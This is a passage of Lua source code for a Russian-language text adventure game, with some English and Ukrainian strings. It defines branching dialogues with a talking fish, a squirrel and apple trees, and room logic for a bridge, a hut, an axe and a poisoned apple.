сюда. Но выживать-то как-то надо. Нашел удочку и вот...', '-- Эх, парень. Не с того ты начал свое путешествие...', -- Кстати, что с глазами, болезный? {'Не выспался...','Ну, это бывает.'}, -- sublevel 2 -- {'Да всё в порядке с глазами...','Да? Значит, это художнику надо руки оторвать.', -- only = true; -- sublevel 3 -- {'Не надо, он хороший и старался!','Ладно!'}, -- {'Да, так ему и надо! Чтобы неповадно было халтурить.','Эх.'} -- }, {'Какое путешествие?', '-- Земля умирает. Вы, люди, уничтожаете ее.', {'Но...','-- Не спорь, когда с тобой говорит рыба, которой несколько сотен лет! ^ Планета гибнет, потому, что люди используют свой дар во вред себе же. Вы умеете делать удивительные вещи! А вместо этого воюете, загрязняете воздух, воду, да саму землю...', {'И какое я имею к этому отношение?','-- Ты избран! Человечество загнало себя в тупик... Силы природы долго молчали, но сейчас они готовы сказать свое слово. Принять решение.', {'О чем ты говоришь? Какое решение?','-- О том, необходим ли ваш вид. Природа погибнет, всё живое может пропасть навсегда, если мы не начнем защищать себя. Мы будем вынуждены это сделать.... Но. Мы решили дать еще один, последний шанс человеку. Докажи, что люди разумны. Что они высокоморальны. Пройди этот путь! Тебе придется нелегко, но знай - на кону судьба человечества.', {'Какой путь? Где я?', '-- Ты в лесу. Но он не простой. Волшебство создано людьми. Не мы установили правила, но мы им подчиняемся. Многие из нас страдают.', {'От чего?','-- Баланс сил нарушен. Зло есть лишь в мире людей... Но вы привнесли зло в мир природы. Ваши мифы начали менять нас, наши жизни. Вы очень нелепо воспринимаете это, как байки, как что-то абсурдное. А мы существуем, причем столько же, сколько и вы сами. Меняются поколение за поколением, а ваши представления о мире духов, мире природы, мире животных -- остаются первобытными. Да, вы пытаетесь показывать этими историями мораль, но кто-то при этом всё равно страдает. Так не должно быть. Впрочем... Об этом не рассказать. Ты все увидишь сам!', {'Куда ты?','Мне пора. Мы еще встретимся. Помни -- ты должен творить добро. Только тогда обретешь успех. Когда море высохло, я вынуждена была жить в этом маленьком озере. Иначе же от вас, людей, просто не скрыться. Ты думаешь, тебе повезло, что поймал меня? Нет... Силы природы решили мою роль в этой истории. Как и твою. Путь -- неизбежен. Но его финал зависит только от тебя. Удачи тебе, добрый молодец. Ты лучший из своего народа, уж нам-то -- в лице птиц, животных и растений -- это известно: мы повсюду. Не подведи человечество. Помни - все твои поступки оцениваются и взвешиваются. До встречи.', {'А как же я... Я голоден! Спаси! Накорми хоть! Я умру!!!','-- Ты можешь найти всё необходимое по пути. Поверь, никто не собирается тебя убивать. Слушай то, что подсказывает тебе сердце -- и найдешь выход. Я сделала кое-что для тебя. Теперь ты можешь продолжать идти вперед. Всё поймешь на месте. Удачи.', {'Рыбка!!!', function() holeway = true; remove('udochka_with_chervi') place('holeopened', 'leftway') p[[Ты не успел моргнуть и глазом, как рыбка плюхнулась в воду и умчалась прочь. "Я сделала кое-что для тебя" - сказала рыбка. Что она имела в виду?]] end }; }, -- закрыл десятую фразу }, -- закрыл девятую фразу }, -- закрыл восьмую фразу }, -- закрыл седьмую фразу }, -- закрыл шестую фразу }, -- закрыл пятую фразу }, -- закрыл четвертую фразу }, -- закрыл третью фразу }, -- закрыл вторую фразу }, -- закрыл первую фразу } -- закрыл диалог } -- закрыл объект диалог room { nam = 'bridge'; -- локация с мостом title = 'Мост'; enter = function(s, t) snd.music 'mus/MiddleEarth.ogg' if have('lestninv') then p [[Ты решил оставить лестницу. Она тяжелая, да и незачем таскать ее с собой.]] remove('lestninv') end if wr == 20 and not fixed then wr = 19; end; -- опять подгонка прогресса под нужные цифры. ладно уж... end; exit = function() afterriver = true; fixed = true; end; pic = function(s) if not have 'vorona' and voronaonmost and not voronainriver and not sobralapples then return 'gfx/11voronanamost.png' end; if not have 'vorona' and voronaonmost and not voronainriver and sobralapples then return 'gfx/11voronanamostwithoutapples.png' end; if not have 'vorona' and not voronaonmost and not voronainriver and not sobralapples then return 'gfx/11voronapodmost.png'; end; if not have 'vorona' and not voronaonmost and not voronainriver and sobralapples then return 'gfx/11voronapodmostwithoutapples.png'; end; if have 'vorona' and not voronainriver and not sobralapples then return 'gfx/11.png' end; if have 'vorona' and not voronainriver and sobralapples then return 'gfx/11withoutapples.png' end; if voronainriver and not sobralapples then return 'gfx/11.png' end; if voronainriver and sobralapples then return 'gfx/11withoutapples.png' end; end; decor = function() p [[Ты видишь {river|реку}, видишь {kto|мост}. ]]; if not voronainriver and have('vorona') and voronaonmost then p [[{podmost|Под мост?}]] end; if not voronainriver and have('vorona') and not voronaonmost then p [[{onmost|На мост?}]] end; if not voronainriver and not have('vorona') and voronaonmost then p [[{kto|На мосту} {vorona|ворона} сохнет.]] end; if not voronainriver and not have('vorona') and not voronaonmost then p [[{takreka|Под мостом} {vorona|ворона} мокнет.]] end; if voronainriver then p [[Здесь больше ничего нет. Ты сделал хорошее дело. Можно идти {@ walk threeways|дальше}.]] end; if voronawasininv and not countedvorona then wr = wr+1; test(); countedvorona = true end; if voronawasininv and not have('vorona') and not voronainriver then p [[Ты можешь идти {@ walk threeways|дальше} или подумать еще.]] end; end; obj = {'river', 'takreka', 'kto', 'onmost', 'podmost', 'vorona'}; } room { nam = 'trees'; title = 'Говорящие деревья'; enter = function() if waytohouseback then enable '#waytooutside' end; if firstintrees then wr = wr+1; test(); soglasen = true end snd.music 'mus/LegendsOfTheRiver.ogg' if have 'key' then p [[Ты потерял ключ в траве... Он выпал, а ты и не заметил.]]; remove('key'); end if not touchedkey and not belkaincremented then wr = wr+1; test(); belkaincremented = true end; -- если не касался дупла и не видел белку - при заходе к деревьям выравниваем прогресс. Да, костыльно. Но как умею( end; onexit = function(s, t) if izrubilappletrees and not belkaseen and not t^'houseoutside' then wr = wr+4 test() end; -- компенсация прогресса, если изрубил деревья if izrubilappletrees and belkaseen and not lestntaken and not t^'houseoutside' then wr = wr+3 test() end; if izrubilappletrees and belkaseen and lestntaken and not t^'houseoutside' then wr = wr+2 test() end; end; pic = function() if izrubilappletrees and not sobralapples then return 'gfx/12afteraxe.png' end; if izrubilappletrees and sobralapples then return 'gfx/12afteraxewithoutapples.png' end; if sobralapples then return 'gfx/12withlestn_withoutappl.png' end; if not sobralapples and lestnicastand then return 'gfx/12withlestn_withappl.png' end; if not sobralapples and not izrubilappletrees and soglasen and firstintrees then return 'gfx/12withapples.png' end; if not sobralapples and not izrubilappletrees and not soglasen and firstintrees then return 'gfx/12withapples.png' end; if not sobralapples and not izrubilappletrees and soglasen then return 'gfx/12withapples.png' end; if not sobralapples and not izrubilappletrees and not soglasen then return 'gfx/12withapples_sad.png' end; end; decor = function() p [[Ты видишь два {treesobj|дерева}.]]; if not izrubilappletrees then p [[Они живые!]] else p [[Они живые! И раненые...]] end; p [[Ты можешь пройти {walktobridge|дальше} или {youcantalk|поговорить} с ними.]]; if aftertalkwithtrees and not sobralapples then p [[Или {sobratapples|собрать} яблоки с деревьев.]]; if belkaishere then p [[Рядом с тобой стоит {belka|белка}!]] end; end; if izrubilappletrees and not takedpoison then p [[Одно {takepoison|яблоко} упало, когда ты рубил деревья...]] end; end; way = { path {'#waytooutside','Идти за хижину','houseoutside'}:disable() }; }:with {'treesobj', 'walktobridge', 'youcantalk', 'sobratapples', 'belka', 'takepoison', 'waytooutside'} obj { nam = 'waytooutside'; }; obj { nam = 'takepoison'; act = function() take('poison_apple'); p [[Ты поднял яблоко...]]; takedpoison = true; end; } obj { nam = 'holeopened'; -- метка открытого прохода к мосту } obj { nam = 'belka'; act = function() if izrubilappletrees then p [[Белка увидела твои разъяренные глаза, топор в руках и побежала прочь.]] belkaishere = false end if not izrubilappletrees and not touchedkey and not napugal then walk 'talkwithbelka2' end if not izrubilappletrees and touchedkey and not napugal then walk 'talkwithbelka' end if not izrubilappletrees and not touchedkey and napugal then walk 'talkwithbelka3' end if not izrubilappletrees and touchedkey and napugal then walk 'talkwithbelka4' end end; used = function(n, z) if z^'topor' then p [[Стоило тебе взмахнуть топором, как белка в ужасе убежала...]] belkaishere = false napugal = true end end; } dlg { nam = 'talkwithbelka'; pic = 'gfx/19.png'; noinv = true; title = 'Белка'; enter = function() p 'Что-то знакомое тебе показалось при виде этой белки. Где-то ты ее видел?^^ -- О, какие люди! И без фонарика?'; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- Начало фразы {'Т..ты? Это была ты?','-- А кто же еще? Я как раз дремала себе тихо, а тут в глаза луч! Я уж думала, всё, не жить мне больше, и не видеть белый свет.', only = true; {'Да ладно? Я сам испугался, когда ты выскочила!','-- Чего уж там. Так какими судьбами я понадобилась такому отважному рыцарю, как ты? *хихикает*', {'Слушай, помоги, а? Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...', {'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!', {'Ладно, не нагнетай! Сам боюсь. Итак, что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.', {'Спасибо, но...', function()p 'Белка убежала, словно её никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true wr = wr+1; test(); walk 'trees' end } }, }, }, }, -- конец первого разветвления {'Извини меня! Я не со зла. Я же не знал, что там можешь оказаться ты! Я бы не делал так!','-- Ой, оправдывается он. Говори уже, чего хотел? Помогу, если в моих силах.', {'Помоги, белочка, хорошая. Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...', {'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!', {'Знаю. Самому страшно. Но что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.', {'Спасибо, но...', function() p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true wr = wr+1; test(); walk 'trees' end } }, }, }, }, -- конец второго разветвления } } -- Конец фразы } dlg { nam = 'talkwithbelka2'; -- Диалог, если не заглядывал в дупло и не встречался с белкой в первый раз pic = 'gfx/19.png'; noinv = true; title = 'Белка'; enter = function() p 'Ты подумал, что вот, теперь и к тебе пришла белочка...^ -- Ну привет, привет. Отважный герой идет спасать мир. Старая история. Только на этот раз все взаправду.'; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- Начало фразы {'Ты - говорящая белка?','-- Вот почему это тебя так удивляет? Можно подумать, вы, люди, между собой не общаетесь... Этот лес - волшебный. Здесь работают совсем иные законы. Скоро ты начнешь это понимать. Как и свою миссию. Смотри, чтобы не было поздно!', only = true; {'Да-да, меня золотая рыбка уже просветила... Почему я? Почему один человек решает всё?','-- Ты спрашиваешь это у белки? Таков закон, смирись. Так зачем я понадобилась тебе? Деревья не свистят по пустякам.', {'Слушай, помоги, а? Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более... спасти человечество! Это не мелочь какая-нибудь... Да и деревья заслуживают лучшей участи. Вы, люди, для того и созданы, чтобы помогать природе. А не разрушать ее...', {'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!', {'Ладно, не нагнетай! Сам боюсь. Итак, что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.', {'Спасибо, но...', function()p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true walk 'trees' end } }, }, }, }, -- конец первого разветвления {'Поверь, я всё понимаю. Я хочу справиться, сделать всё хорошо. Но почему всё зависит от меня одного?','-- Друг, ты спрашиваешь это у белки. Таков закон - это всё, что я знаю. Скажи, в чем нуждаешься - и если смогу - помогу.', {'Да, помоги, белочка, хорошая! Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...', {'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!', {'Знаю. Самому страшно. Но что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.', {'Спасибо, но...', function() p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true walk 'trees' end } }, }, }, }, -- конец второго разветвления } } -- Конец фразы } dlg { nam = 'talkwithbelka3'; -- Диалог, если замахнулся топором на белку, но не заглядывал перед этим в дупло pic = 'gfx/19.png'; noinv = true; title = 'Белка'; enter = function() p 'Белка осторожно приблизилась к тебе...^ -- Ты знаешь, что нехорошо махать топором перед беззащитной белкой? Вот же ж народ-то пошел, а? Чего тебе?'; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- Начало фразы {'Ты - говорящая белка?','-- Вот почему это тебя так удивляет? Можно подумать, вы, люди, между собой не общаетесь... Этот лес - волшебный. Здесь работают совсем иные законы. Скоро ты начнешь это понимать. Как и свою миссию. Смотри, чтобы не было поздно!', only = true; {'Да-да, меня золотая рыбка уже просветила... Почему я? Почему один человек решает всё?','-- Ты спрашиваешь это у белки? Таков закон, смирись. Так зачем я понадобилась тебе? Деревья не свистят по пустякам.', {'Слушай, помоги, а? Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более... спасти человечество! Это не мелочь какая-нибудь... Да и деревья заслуживают лучшей участи. Вы, люди, для того и созданы, чтобы помогать природе. А не разрушать ее...', {'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!', {'Ладно, не нагнетай! Сам боюсь. Итак, что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.', {'Спасибо, но...', function()p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true walk 'trees' end } }, }, }, }, -- конец первого разветвления {'Поверь, я всё понимаю. Я хочу справиться, сделать всё хорошо. Но почему всё зависит от меня одного?','-- Друг, ты спрашиваешь это у белки. Таков закон - это всё, что я знаю. Скажи, в чём нуждаешься - и если смогу - помогу.', {'Да, помоги, белочка, хорошая! Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...', {'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!', {'Знаю. Самому страшно. Но что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.', {'Спасибо, но...', function() p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true walk 'trees' end } }, }, }, }, -- конец второго разветвления } } -- Конец фразы } dlg { nam = 'talkwithbelka4'; -- Диалог, если замахнулся топором на белку, и заглядывал перед этим в дупло pic = 'gfx/19.png'; noinv = true; title = 'Белка'; enter = function() p 'Белка осторожно приблизилась к тебе...^^ -- О, какие люди! И без фонарика? Ты знаешь, что нехорошо махать топором перед беззащитной белкой? Вот же ж народ-то пошел, а? Чего тебе?'; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- Начало фразы {'Т..ты? Это была ты?','-- А кто же еще? Я как раз дремала себе тихо, а тут в глаза луч! Я уж думала, всё, не жить мне больше, и не видеть белый свет.', only = true; {'Да ладно? Я сам испугался, когда ты выскочила!','-- Чего уж там. Так какими судьбами я понадобилась такому отважному рыцарю, как ты? *хихикает*', {'Слушай, помоги, а? Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...', {'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!', {'Ладно, не нагнетай! Сам боюсь. Итак, что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.', {'Спасибо, но...', function()p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true wr = wr+1; test(); walk 'trees' end } }, }, }, }, -- конец первого разветвления {'Извини меня! Я не со зла. Я же не знал, что там можешь оказаться ты! Я бы не делал так!','-- Ой, оправдывается он. Говори уже, чего хотел? Помогу, если в моих силах.', {'Помоги, белочка, хорошая. Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...', {'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!', {'Знаю. Самому страшно. Но что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.', {'Спасибо, но...', function() p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true wr = wr+1; test(); walk 'trees' end } }, }, }, }, -- конец второго разветвления } } -- Конец фразы } obj { nam = 'топор'; -- топор на сцене seen = false; dsc = function(s) if not s.seen then uvideltopor = true; if ru then return p'В траве {что-то} лежит.'; end; if en then return p'There is {something} in the grass.' end; if ua then return p'У траві {щось} лежить.'; end; else if ru then return p 'В траве ты увидел {топор|топор}!'; end; if en then return p 'You saw an {топор|axe} in the grass!' end; if ua then return p 'У траві ти помітив {топор|сокиру}!' end; end end; act = function(s) if s.seen then remove ('топор'); touchedtopor = true; take 'topor'; if not touchedkey then wr = wr+1; test(); if ru then return p'Ты взял топор.'; end; if en then return p'You took an axe.'; end; if ua then return p'Ты взяв сокиру.'; end; end; else s.seen = true; if ru then return p'Гм... Это же топор!'; end; if en then return p'Um. This is an axe!'; end; if ua then return p'Ой, так це ж сокира!'; end; end end; }; obj { nam = 'topor'; -- топор в инвентаре disp = function() if ru then return fmt.img('gfx/inv/topor.png')..'Топор'; end; if en then return fmt.img('gfx/inv/topor.png')..'Axe'; end; if ua then return fmt.img('gfx/inv/topor.png')..'Сокира'; end; end; inv = function() clickmute = true; if isusercozel and not removetopor then waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) if ru then p 'Орудие казни... Гены предыдущих поколений козликов отозвались в тебе глубинным, животным ужасом, при виде этого предмета.' end if en then p 'The instrument of execution... The genes of previous generations of goats echoed in you with deep, animal horror at the sight of this object.' end if ua then p 'Знаряддя страти... Гени попередніх поколінь козликів відгукнулися в тобі глибинним, тваринам жахом, при погляді на цей предмет.' end elseif not removetopor then if ru then p 'Неплохой топор, старинного образца. Откуда он здесь?' end if en then p 'Nice axe, old-fashioned. Where is it from?' end if ua then p 'Непогана сокира, стародавнього зразка. Звідки вона тут?' end end if removetopor then if ru then p'Ты выбросил топор. Хорошая вещь, но добраться до деревни важнее...' end if en then p'You threw the ax away. Good thing, but getting to the village is more important...' end if ua then p'Ти викинув сокиру. Хороша річ, але дістатися до селища важливіше...' end remove('topor') walk('longroad22') end; end; } obj { nam = 'treesobj'; act = function() if not sobralapples and not izrubilappletrees then p [[Ты внимательно посмотрел на деревья. Они во всём похожи на обычные, только с носами, глазами и ртами. Деревья смотрят на тебя в ответ дружелюбно, но, кажется, что-то их гнетет. ]] elseif sobralapples and not izrubilappletrees then p [[Ты внимательно посмотрел на деревья. Они во всём похожи на обычные, только с носами, глазами и ртами. Деревья смотрят на тебя в ответ дружелюбно и с благодарностью. ]] end if izrubilappletrees then p [[Деревья смотрят на тебя со злобой, обидой и отчаянием. Они не ожидали такого обращения! За что?!]] end end; used = function (n, z) if z^'fonarik' then p [[Зачем светить посреди белого дня на деревья?]] end; if z^'lestninv' and not izrubilappletrees then p [[Ты поставил лестницу к одному из деревьев. Теперь можно собирать яблоки.]] lestnicastand = true remove('lestninv') wr = wr+1; test(); end; if z^'lestninv' and izrubilappletrees then p [[Ты попробовал поставить лестницу к одному из деревьев. Изрубленные ветви с треском обломались и ты полетел вниз... Потирая ушибы и ссадины, ты начал медленно понимать, что насильно мил не будешь... Лучше оставить это и идти дальше...]] end; if z^'topor' and sobralapples then p [[Ты можешь просто пройти. Не надо поступать по-свински. Деревья надо беречь, они дарят тебе воздух. Почему приходится объяснять элементарное?]] end; if z^'topor' and lestnicastand and not sobralapples then p [[До сих пор не можешь определиться, помочь ли деревьям, или изрубить их? Будь последовательнее... Начал одно - так сделай до конца.]] end; if z^'topor' and izrubitapple and not lestnicastand then p [[Надо ли творить подобный ужас? Повтори, если уверен в своих действиях...]] izrubitapple = false return end; if z^'topor' and not izrubitapple and not lestnicastand and izrubilappletrees then p [[Остановись!]] end if z^'topor' and not izrubitapple and not lestnicastand and not izrubilappletrees then p [[Ты безжалостно изрубил деревья. Они плачут горькими слезами и смотрят на тебя с укором. Что же ты наделал!]] izrubilappletrees = true end end; } obj { nam = 'poison_apple'; disp = fmt.img('gfx/inv/one_apple_poison.png')..'Яблоко'; inv = function() place 'eatpleasepoison'; pleaseeatpoison = true; end; } obj { nam = 'eatpleasepoison'; dsc = function() if pleaseeatpoison and not triedtoeat then p 'Странное яблоко. Добытое зверским способом... Ты можешь его {съесть}, если не боишься и совесть не мучает.' pleaseeatpoison = false elseif pleaseeatpoison and triedtoeat then p 'Странное яблоко. Добытое зверским способом...' pleaseeatpoison = false end end; act = function(s) p [[Ты съел яблоко...]] remove(s); triedtoeat = true; walk ('youdead') end } room { nam = 'youdead'; noinv = true; title = 'Кирдык!'; pic = 'gfx/42.png'; enter = function(s) bg_name = 'gfx/bg_death.png' theme.gfx.bg (bg_name) deletebutton(); timer:set(death_time); createredbar(); end; timer = function(s) timer:stop(); deleteredbar(); theme.gfx.bg (bg_name) end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; obj = {'death'}; decor = [[Ты умер!]]; }: with { obj { dsc = function() p ( fmt.c('{@ walkout|Переиграть?}') ); -- [[{Переиграть?}]]; end; act = function() -- snapshots:restore() walk () end; } } obj { -- если в списке объектов находим смерть, то не показывать статус nam = 'death'; } obj { nam = 'walktobridge'; act = function() if cantdothat and onceopened and not izrubilappletrees then p [[Ты не можешь пройти, пока не поможешь деревьям.]] end if cantdothat and not onceopened and not belkaishere then walk 'talkwithtrees2' end if cantdothat and not onceopened and belkaishere and not izrubilappletrees then p[[Ты не можешь пройти, пока не поможешь деревьям. Может, лучше поговорить с белкой?]] end if propustili and not izrubilappletrees and not cantdothat then walk 'bridge' elseif not propustili and not izrubilappletrees and not cantdothat then walk 'talkwithtrees' end if izrubilappletrees then walk 'bridge' end end; } obj { nam = 'youcantalk'; act = function() if cantdothat and onceopened and not izrubilappletrees then p [[Ты уже знаешь, что делать.]] end if cantdothat and not onceopened and not belkaishere and not izrubilappletrees then walk 'talkwithtrees2' end if cantdothat and not onceopened and belkaishere then p[[Может, лучше поговорить с белкой?]] end if sobralapples and not izrubilappletrees and not cantdothat then p[[Деревья довольны и счастливы, созрецательно смотрят в небо, их головы кружатся от легкости. Им не до тебя.]] elseif not sobralapples and not izrubilappletrees and not cantdothat then walk 'talkwithtrees' end if izrubilappletrees then p [[Деревья не желают говорить с тобой. Ты им отвратителен.]] end end; } obj { nam = 'sobratapples'; act = function() if izrubilappletrees then p [[Поздно. Не видать теперь тебе яблочек. И чем ты думал?!]] end; if not lestnicastand and not izrubilappletrees then p [[Ты попытался достать до деревьев, но они слишком высокие. Надо придумать способ добраться до ветвей.]] cantdothat = true end; if lestnicastand and not izrubilappletrees then sobralapples = true cantdothat = false p [[Тебе пришлось хорошенько потрудиться, чтобы достать до каждого яблока. Спустя час всё было готово.]] wr = wr+1; test(); end; end; } dlg { nam = 'talkwithtrees2'; -- после того, как попробовал достать яблоки, переходим на этот диалог pic = 'gfx/12withapples.png'; noinv = true; title = 'Говорящие деревья'; enter = function() if not izrubilappletrees then p [[-- Ты уже собрал яблоки? Помоги нам!]] end bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function(s, t) createbutton(); bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) clickmute = true; if aftertalkwithtrees and belkaishere then snd.play ('snd/whistle.ogg', 1); end; if aftertalkwithtrees and belkaishere then snd.play('snd/SQ2.ogg', 2) end; end; phr = { -- Начало фразы {'Я бы и рад, но не могу! Не достаю до ваших ветвей! Подскажите же, что мне делать?', '-- Эм... Хм... Уу... Так! У нас есть подруга, которая может помочь.', { function() if touchedkey then p 'Подруга?' else p 'Подруга? Разве у деревьев бывают друзья?' end end , function() if touchedkey then p '-- Да. Вы уже виделись. Хе-хе.' else p 'Даже больше. У нас есть душа.' end end, { function() if touchedkey then p 'Кто? Когда?' else p 'Не знал...' end end, function() p[[Деревья издали свист, от которого у тебя почти начали лопать перепонки... И на этот свист явилась.... белка!]] belkaishere = true soglasen = true end } } } } -- Конец фразы } dlg { nam = 'talkwithtrees'; pic = function() if not sobralapples then return 'gfx/12withapples.png' else return 'gfx/12withlestn_withoutappl.png' end end; noinv = true; title = 'Говорящие деревья'; enter = function() deletebutton(); bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) firstintrees = false if not sobralapples then p[[Ты собрался было ступить вперед, как деревья своими ветвями перегородили дорогу. ^^-- Куда путь держишь, странник?]] end; if sobralapples then p [[-- Проходи. За то, что ты сделал, мы дарим тебе все свои плоды. Бери столько, сколько сможешь унести. Между прочим, яблочки наши не простые, а с секретом. Но тебе его знать рано ;)]] take 'apples' end; end; exit = function(s, t) createbutton(); bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) clickmute = true; if not soglasen and t^'trees' then snd.play ('snd/trees_sigh.ogg', 1); end; if soglasen and t^'trees' then snd.play ('snd/trees_sigh_happy.ogg', 1) end; -- p (here()); -- p (t); end; phr = { -- начало фразы {function() if not sobralapples then p [[Пропустите меня, славные сказочные деревья! У меня важная миссия. Я мир спасаю. Да и просто надо выбраться отсюда!]] else p [[{@ walk bridge|Спасибо!}]] end end ,'-- Извини, но мы не можем тебя пропустить. Хочешь пройти -- помоги нам!', {'Чем же я могу помочь-то?','-- Оборви нас! Мы стоим здесь, на пути, очень давно, и никто не приходил, не срывал с нас яблоки. Очень трудно стоять, когда твои ветви ломятся от плодов, и ты ничего не можешь сделать... Яблочки наши сочные, вкусные, а ты, наверное, голоден.', {'Да, просто умираю от истощения!','-- Поможешь нам?', only = true; {'Как-нибудь в другой раз.', function() p '-- *синхронно* Эх.' aftertalkwithtrees = true soglasen = false end }, {'Да, конечно!', function() p '-- Сделай это, пожалуйста! И проход твой.' aftertalkwithtrees=true soglasen = true end } }, }, } -- закрывает оч прошу } -- конец фразы } room { nam = 'houseoutside'; title = 'За хижиной'; pic = function() if lestntaken then return 'gfx/21.png' else return 'gfx/20.png' end; end; decor = function() p [[Светло-снежная, задняя стена дома резко контрастирует с буйной растительностью этого места. Ты начинаешь ощущать, что ты и правда в сказке. Правда сказка эта с горчинкой...]] if not lestntaken then p 'К стене хижины прислонена {lestn|лестница}.' end end; way = { path{'К деревьям', 'trees'} }; enter = function() if not wow then p 'Ух ты! Это же лестница!' wow = true end; if not uvideltopor then place('топор', 'houseoutside') end; end; obj = {'lestn'}; } obj { nam = 'lestn'; act = function() lestntaken = true; take 'lestninv'; p [[Ты схватил лестницу двумя руками. Тяжелая!]]; wr = wr+1; test(); end; } obj { nam = 'lestninv'; disp = fmt.img('gfx/inv/lestnica.png')..'Лестница'; inv = [[Лестница.]]; } obj { nam = 'vorona'; disp = fmt.img('gfx/inv/vorona.png')..'Ворона'; act = function() p [[Взял ворону ты за хвост...]] take 'vorona' voronawasininv = true end; inv = [[Что делать с вороной? - вот в чем вопрос. Она уже не жилец...]]; } obj { nam = 'river'; act = [[Обычная река. Но тебя она наталкивает на философские мысли о бренности бытия и быстротечности времени.]]; used = function (n, z) if z^'vorona' then p [[Ты выбросил мёртвую ворону в реку.]] remove ('vorona') voronainriver = true snd.play('snd/awaterplouffff.ogg', 1) return end return false; end; } obj { nam = 'onmost'; act = [[Возьми ворону.]]; used = function (n, z) if z^'vorona' then p [[Положил на мост, пусть ворона 